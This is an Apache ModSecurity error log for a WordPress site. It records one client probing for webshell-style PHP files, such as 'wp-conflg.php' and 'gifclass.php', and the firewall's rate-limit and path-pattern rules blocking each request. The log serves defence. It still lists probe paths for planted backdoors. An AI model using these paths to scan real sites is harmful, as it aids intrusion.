[Mon Mar 23 23:04:27.474390 2026] [:error] [pid 38276:tid 38285] [client 40.85.222.197:21387] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "acFWe5oKGiI-a7oME3IQ_QAAAMY"]
[Mon Mar 23 23:04:27.887212 2026] [:error] [pid 52341:tid 52346] [client 40.85.222.197:21393] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "acFWe6PKTBDR2u47Gb0R3wAAAUM"]
[Mon Mar 23 23:04:28.297289 2026] [:error] [pid 38176:tid 38189] [client 40.85.222.197:21488] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "acFWfEtG4qlh1gvNjuJbnwAAAAI"]
[Mon Mar 23 23:04:28.708464 2026] [:error] [pid 38306:tid 38330] [client 40.85.222.197:21446] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "acFWfDkL8qwu-hHc6BjIzwAAARY"]
[Mon Mar 23 23:04:29.118697 2026] [:error] [pid 52341:tid 52348] [client 40.85.222.197:21455] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "acFWfaPKTBDR2u47Gb0R5AAAAUU"]
[Mon Mar 23 23:04:29.528559 2026] [:error] [pid 52341:tid 52361] [client 40.85.222.197:21477] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "acFWfaPKTBDR2u47Gb0R5gAAAVI"]
[Mon Mar 23 23:04:29.937563 2026] [:error] [pid 38176:tid 38209] [client 40.85.222.197:21469] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "acFWfUtG4qlh1gvNjuJboAAAABY"]
[Mon Mar 23 23:04:30.350200 2026] [:error] [pid 52341:tid 52367] [client 40.85.222.197:21460] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "acFWfqPKTBDR2u47Gb0R6QAAAVg"]
[Mon Mar 23 23:04:30.768528 2026] [:error] [pid 52341:tid 52345] [client 40.85.222.197:21476] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "acFWfqPKTBDR2u47Gb0R7AAAAUI"]
[Mon Mar 23 23:04:31.178465 2026] [:error] [pid 38176:tid 38205] [client 40.85.222.197:21422] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "acFWf0tG4qlh1gvNjuJboQAAABI"]
[Mon Mar 23 23:04:31.589631 2026] [:error] [pid 52341:tid 52358] [client 40.85.222.197:21480] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "acFWf6PKTBDR2u47Gb0R8AAAAU8"]
[Mon Mar 23 23:04:32.001053 2026] [:error] [pid 52341:tid 52364] [client 40.85.222.197:21390] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "acFWf6PKTBDR2u47Gb0R8QAAAVU"]
[Mon Mar 23 23:04:32.417785 2026] [:error] [pid 38306:tid 38332] [client 40.85.222.197:21481] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "acFWgDkL8qwu-hHc6BjI0wAAARg"]
[Mon Mar 23 23:04:32.828301 2026] [:error] [pid 38177:tid 38219] [client 40.85.222.197:21483] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "acFWgHsYW-_HCI66MukEDwAAAEQ"]
[Mon Mar 23 23:04:33.241327 2026] [:error] [pid 52341:tid 52355] [client 40.85.222.197:21500] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "acFWgaPKTBDR2u47Gb0R9gAAAUw"]
[Mon Mar 23 23:04:33.650594 2026] [:error] [pid 38178:tid 38242] [client 40.85.222.197:21432] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "acFWgQ0axWfXsVvR9udVzgAAAIA"]
[Mon Mar 23 23:04:34.063156 2026] [:error] [pid 38276:tid 38300] [client 40.85.222.197:21392] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "acFWgpoKGiI-a7oME3IQ_gAAANU"]
[Mon Mar 23 23:04:34.475755 2026] [:error] [pid 38176:tid 38202] [client 40.85.222.197:21417] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "acFWgktG4qlh1gvNjuJbogAAAA8"]
[Mon Mar 23 23:04:34.886777 2026] [:error] [pid 38306:tid 38325] [client 40.85.222.197:21450] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "acFWgjkL8qwu-hHc6BjI2gAAARE"]
[Mon Mar 23 23:04:35.298706 2026] [:error] [pid 38176:tid 38195] [client 40.85.222.197:21320] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "acFWg0tG4qlh1gvNjuJbpQAAAAg"]
[Mon Mar 23 23:04:35.752739 2026] [:error] [pid 38306:tid 38310] [client 40.85.222.197:21473] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "acFWgzkL8qwu-hHc6BjI3AAAAQI"]
[Mon Mar 23 23:04:36.166477 2026] [:error] [pid 38276:tid 38296] [client 40.85.222.197:21379] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "acFWhJoKGiI-a7oME3IRAwAAANE"]
[Mon Mar 23 23:04:36.586302 2026] [:error] [pid 38176:tid 38211] [client 40.85.222.197:21409] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "acFWhEtG4qlh1gvNjuJbqQAAABg"]
[Mon Mar 23 23:04:37.000656 2026] [:error] [pid 38276:tid 38284] [client 40.85.222.197:21421] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "acFWhJoKGiI-a7oME3IRBAAAAMU"]
[Mon Mar 23 23:04:37.413722 2026] [:error] [pid 38276:tid 38288] [client 40.85.222.197:21434] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "acFWhZoKGiI-a7oME3IRBQAAAMk"]
[Mon Mar 23 23:04:37.824615 2026] [:error] [pid 38176:tid 38189] [client 40.85.222.197:21495] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "acFWhUtG4qlh1gvNjuJbqwAAAAI"]
[Mon Mar 23 23:04:38.238318 2026] [:error] [pid 52341:tid 52352] [client 40.85.222.197:21485] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "acFWhqPKTBDR2u47Gb0R-gAAAUk"]
[Mon Mar 23 23:04:38.650694 2026] [:error] [pid 38176:tid 38200] [client 40.85.222.197:21463] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "acFWhktG4qlh1gvNjuJbrgAAAA0"]
[Mon Mar 23 23:04:39.063143 2026] [:error] [pid 38176:tid 38205] [client 40.85.222.197:21486] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "acFWh0tG4qlh1gvNjuJbrwAAABI"]
[Mon Mar 23 23:04:39.476295 2026] [:error] [pid 52341:tid 52362] [client 40.85.222.197:21468] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "acFWh6PKTBDR2u47Gb0R-wAAAVM"]
[Mon Mar 23 23:04:39.888153 2026] [:error] [pid 38306:tid 38315] [client 40.85.222.197:21453] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "acFWhzkL8qwu-hHc6BjI4wAAAQc"]
[Mon Mar 23 23:04:40.306040 2026] [:error] [pid 38306:tid 38322] [client 40.85.222.197:21368] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "acFWiDkL8qwu-hHc6BjI5AAAAQ4"]
[Mon Mar 23 23:04:40.725356 2026] [:error] [pid 52341:tid 52346] [client 40.85.222.197:21499] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "acFWiKPKTBDR2u47Gb0R_gAAAUM"]
[Mon Mar 23 23:04:41.135751 2026] [:error] [pid 38176:tid 38203] [client 40.85.222.197:21441] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acFWiUtG4qlh1gvNjuJbsgAAABA"]
[Mon Mar 23 23:04:41.547676 2026] [:error] [pid 38306:tid 38314] [client 40.85.222.197:21487] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acFWiTkL8qwu-hHc6BjI6QAAAQY"]
[Mon Mar 23 23:04:41.960018 2026] [:error] [pid 52341:tid 52360] [client 40.85.222.197:21385] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acFWiaPKTBDR2u47Gb0SAgAAAVE"]
[Mon Mar 23 23:04:42.372079 2026] [:error] [pid 38306:tid 38313] [client 40.85.222.197:21495] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acFWijkL8qwu-hHc6BjI6wAAAQU"]
[Mon Mar 23 23:04:42.784775 2026] [:error] [pid 38276:tid 38279] [client 40.85.222.197:21319] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acFWipoKGiI-a7oME3IRCwAAAMA"]
[Mon Mar 23 23:04:43.197862 2026] [:error] [pid 38176:tid 38201] [client 40.85.222.197:21494] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acFWi0tG4qlh1gvNjuJbtQAAAA4"]
[Mon Mar 23 23:04:43.614465 2026] [:error] [pid 38178:tid 38249] [client 40.85.222.197:21424] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acFWiw0axWfXsVvR9udV1gAAAIc"]
[Mon Mar 23 23:04:44.033539 2026] [:error] [pid 38306:tid 38315] [client 40.85.222.197:21378] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acFWjDkL8qwu-hHc6BjI8QAAAQc"]
[Mon Mar 23 23:04:44.450715 2026] [:error] [pid 38177:tid 38235] [client 40.85.222.197:21440] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "acFWjHsYW-_HCI66MukEEQAAAFQ"]
[Mon Mar 23 23:04:44.866024 2026] [:error] [pid 38176:tid 38198] [client 40.85.222.197:21491] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "acFWjEtG4qlh1gvNjuJbtgAAAAs"]
[Mon Mar 23 23:04:45.283382 2026] [:error] [pid 38176:tid 38194] [client 40.85.222.197:21429] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "acFWjUtG4qlh1gvNjuJbtwAAAAc"]
[Mon Mar 23 23:04:45.721607 2026] [:error] [pid 38276:tid 38291] [client 40.85.222.197:21466] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "acFWjZoKGiI-a7oME3IREQAAAMw"]
[Mon Mar 23 23:04:46.133942 2026] [:error] [pid 38306:tid 38321] [client 40.85.222.197:21482] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFWjjkL8qwu-hHc6BjI8gAAAQ0"]
[Mon Mar 23 23:04:46.551807 2026] [:error] [pid 38177:tid 38223] [client 40.85.222.197:21397] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFWjnsYW-_HCI66MukEEgAAAEg"]
[Mon Mar 23 23:04:46.970610 2026] [:error] [pid 38177:tid 38238] [client 40.85.222.197:21389] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFWjnsYW-_HCI66MukEEwAAAFc"]
[Mon Mar 23 23:04:47.379248 2026] [:error] [pid 38177:tid 38217] [client 40.85.222.197:21474] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFWj3sYW-_HCI66MukEFAAAAEI"]
[Mon Mar 23 23:04:47.789504 2026] [:error] [pid 52341:tid 52366] [client 40.85.222.197:21449] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acFWj6PKTBDR2u47Gb0SCQAAAVc"]
[Mon Mar 23 23:04:48.199324 2026] [:error] [pid 52341:tid 52367] [client 40.85.222.197:21339] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acFWkKPKTBDR2u47Gb0SCgAAAVg"]
[Mon Mar 23 23:04:48.610517 2026] [:error] [pid 38276:tid 38279] [client 40.85.222.197:21418] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acFWkJoKGiI-a7oME3IRFgAAAMA"]
[Mon Mar 23 23:04:49.022994 2026] [:error] [pid 52341:tid 52349] [client 40.85.222.197:21404] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acFWkaPKTBDR2u47Gb0SCwAAAUY"]
[Mon Mar 23 23:04:49.435318 2026] [:error] [pid 52341:tid 52360] [client 40.85.222.197:21383] [client 40.85.222.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "acFWkaPKTBDR2u47Gb0SDQAAAVE"]
[Mon Mar 23 23:04:49.852829 2026] [:error] [pid 38276:tid 38290] [client 40.85.222.197:21489] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFWkZoKGiI-a7oME3IRFwAAAMs"]
[Mon Mar 23 23:04:50.265803 2026] [:error] [pid 38177:tid 38218] [client 40.85.222.197:21313] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFWknsYW-_HCI66MukEFQAAAEM"]
